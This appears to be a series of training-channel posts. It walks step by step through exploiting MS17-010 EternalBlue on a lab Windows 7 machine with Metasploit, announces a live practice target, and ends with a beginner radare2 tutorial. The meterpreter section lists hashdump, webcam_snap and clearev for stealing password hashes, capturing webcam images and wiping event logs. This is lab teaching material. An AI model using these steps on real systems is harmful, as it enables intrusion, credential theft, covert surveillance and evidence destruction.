#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-4] Run metasploit & search for eternal-blue exploit

msfconsole

search ms17-010

Explaination

msfconsole is used to run metasploit

search ms17-010 returns all available exploits for eternal-blue

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-5] Use eternal-blue exploit

use exploit/windows/smb/ms17_010_eternalblue

Explaination

'use' command is used to select the module that we want to use

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-6] Set remote host

set RHOSTS <machine-ip>

Explaination

'RHOSTS' is the Remote Host IP. It should be set to the IP of victim machine that we are going to attack. In my case it is 10.10.34.99. For you, it will be the IP of live machine or any other vulnerable machine that you want to exploit.

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-7] Finding out LHOST

ifconfig

Explaination

Execute 'ifconfig' command in new terminal to find your LHOST. If you're on windows, use 'ipconfig' in cmd. The IP corresponding to inet in tun0 interface is the LHOST. For me it is 10.6.9.212.

Here we used tun0 interface as we're connected to same network as target device via openvpn tunnel. In real world attack you would use wlo1 or ethernet interface when connected to a wifi or LAN respectively.

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-8] Set localhost in metasploit

set LHOST <your-public-ip>

Explaination

LHOST is used to start a listener on a specific interface on your machine.

Any doubts @Revnexbot

#advanced

Machine-1: Blue

Vulnerability: MS17-010 • Eternal Blue
Security Level: Low

[Step-9] Exploit

exploit

Explaination

We use 'exploit' or 'run' command to perform the exploit.

[Result Analysis]

After executing the exploit, if we see 'WIN' it means we successfully exploited the machine and we should have a meterpreter shell opened. Sometimes this exploit fails even if everything is done properly. Don't worry about that, metasploit takes care of it & automatically runs the exploit again. If it still can't exploit machine, you're missing something & you should instead be reading more about the eternal-blue exploit.

[Troubleshoot] If you see 'FAIL'

Make sure your device & victim pc is on same network.

Eternal-blue works only for windows versions upto windows 7. There's an exploit for windows 8 as well but most of the time it doesn't work.

Cross-check the lhost and rhosts.

Port 4444 should not be in use by some other application or process.

Any doubts @Revnexbot

Congratulations!

You just learned eternal-blue exploit. Tomorrow the machine will be online for practice & IP address will be given 10 minutes before time. For time and other details see below.

Time: 4:00 pm-5:00 pm IST

[Target Info] Machine-1
OS: Windows 7

Vulnerability: MS17-010 • Eternal Blue

Exploitation method: Easy

[Requirements]
Nmap • Metasploit • OpenVPN • OpenVPN Config • Brain

[IP Address]
Will be published tomorrow at given time. Target machine will be accessible with that ip exactly for 1 hour from given time. Read #rules before you start.

Date: 1 August 2020 challenge starts at 4:00 pm IST.

Queries & suggestions @Revnexbot

#beginner

Introduction to meterpreter

Meterpreter is a metasploit attack payload that provides an interactive shell from which an attacker can explore the target machine and execute code.

Meterpreter is deployed using in-memory DLL injection. As a result, it resides entirely in memory and writes nothing to disk. No new processes are created as it injects itself into the compromised process, from which it can migrate to other running processes. As a result, the forensic footprint of an attack is very limited.

Meterpreter basic commands [Part-1]

background

The background command will send the current meterpreter session to the background. To interact with the session again execute sessions -i <session-id>

download

The download command downloads a file from the remote machine.

edit

The edit command opens a file located on the target host using 'vim'.

getuid

Running getuid will display the user that the meterpreter server is running as on the host.

Queries & suggestions @Revnexbot

#beginner

Meterpreter basic commands [Part-2]

hashdump

The hashdump post module will dump the contents of the SAM database.

idletime

Running idletime will display the number of seconds that the user at the remote machine has been idle.

ipconfig

The ipconfig command displays the network interfaces and addresses on the remote machine.

migrate

Using the migrate post module, you can migrate to another process on the victim machine.

ps

The ps command displays a list of running processes on the target.

cd and pwd

The cd and pwd commands are used to change and display current working directly on the target host

webcam_list

The webcam_list command when run from the Meterpreter shell, will display currently available web cams on the target host.

webcam_snap

The webcam_snap command grabs a picture from a connected web cam on the target system, and saves it to disc.

clearev

The clearev command will clear the Application, System, and Security logs on a Windows system.

Queries & suggestions @Revnexbot

🟢 LIVE

[Machine-1: Blue]

IP: 10.10.142.9

Blue is now online. You can perform attacks & have fun. Read #rules before you start. Exploitation method of this machine is here for reference. Queries & suggestions @Revnexbot

Time: 4:00 pm - 5:00 pm

#beginners

Introduction to Reverse engineering

Reverse engineering, also called back engineering, is the process by which a man-made object is deconstructed to reveal its designs, architecture, code or to extract knowledge from the object; similar to scientific research, the only difference being that scientific research is about a natural phenomenon.

Machine codes

Computers execute machine code, which is encoded as bytes, to carry out tasks on a computer. Since different computers have different processors, the machine code executed on these computers is specific to the processor.

Queries & suggestions @Revnexbot

#beginners

Assembly and radare2

Machine code is usually represented by a more readable form of the code called assembly code. This machine code is usually produced by a compiler, which takes the source code of a file, and after going through some intermediate stages, produces machine code that can be executed by a computer.

The best way to actually start explaining assembly is by diving in. We’ll be using radare2 to do this - Radare2 (also known as r2) is a complete framework for reverse-engineering and analyzing binaries; composed of a set of small utilities that can be used together or independently from the command line.

Installation

sudo apt-get install -y radare2

Queries & suggestions @Revnexbot

#advanced

Binary file for practicing hands on reverse engineering.

Step 1. We run this file to see what it does.

Step 2. We use radare2 to reverse engineer the file to understand how it is programmed without actually knowing it's source code

#advanced

Reversing with radare2

[Step-1] Running the binary

Download run from here & execute

Command: ./run

After executing the above program, it shows that there are 3 variables (a, b, c) where c is the sum of a and b.

[Step-2] Open file in debug mode

Command: r2 -d ./run

This will open the binary in debugging mode.

[Step-3] Analyzing run

Once the binary is open, one of the first things to do is ask radare2 to analyze the program, and this can be done by typing in: aa

It analyses all symbols and entry points in the executable.

[Step-4] List all functions

Once the analysis is complete, you would want to know where to start analysing from - most programs have an entry point defined as main. To find list of all the functions run: afl

Command: afl | grep main

Here we're using grep to filter results containing main

Queries & suggestions @Revnexbot

#advanced

[Step-5] Print disassembly function

As seen from the output of Step-4, there actually is a function at main. Let’s examine the assembly code at main by running the command:

pdf @main

Where pdf means print disassembly function & doing so gives us the view shown above

The column to left of screenshot shown in green is actually the memory addresses & they may be different on your computer.

Now to understand rest of the output of pdf @main, we need to know some basic assembly instructions & we'll be doing the same in next few steps

Queries & suggestions @Revnexbot